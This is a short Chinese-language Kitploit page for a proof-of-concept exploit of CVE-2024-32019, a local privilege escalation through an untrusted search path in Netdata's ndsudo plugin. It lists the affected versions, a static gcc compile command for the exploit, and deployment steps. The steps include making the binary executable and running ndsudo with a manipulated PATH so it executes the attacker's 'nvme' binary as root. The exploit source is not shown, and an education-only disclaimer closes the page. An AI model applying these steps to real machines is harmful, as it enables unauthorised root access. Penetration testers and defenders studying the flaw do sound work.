CVE-2024-32019-POC — 概念验证漏洞利用程序，针对 CVE-2024-32019，演示了通过 Netdata 的 ndsudo 插件中不受信任的搜索路径实现本地权限提升。包含编译说明和部署步骤。 | Kitploit

⚠️ CVE-2024-32019 - 概念验证

📌 受影响版本

>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169

🛠️ 概念验证

CVE-2024-32019 — ndsudo 本地权限提升通过不受信任的搜索路径。

🔧 编译漏洞利用代码

x86_64-linux-gnu-gcc -o nvme exploit.c -static

📤 部署到目标机器

将编译好的二进制文件传输到易受攻击的机器上。
使其可执行：
```
chmod +x nvme
```
通过 PATH 操纵利用易受攻击的二进制文件（使用你上传二进制文件的相同路径）：
```
PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
```

🔍 参考

Netdata 安全公告 - GHSA-pmhq-4cxq-wj93

⚖️ 免责声明与条款

此概念验证（PoC）代码仅供教育和授权渗透测试目的使用。

不允许修改、重新分发或将此代码用于任何其他目的。
未经授权的使用或修改可能是非法且不道德的。
作者对任何滥用或损害不承担任何责任。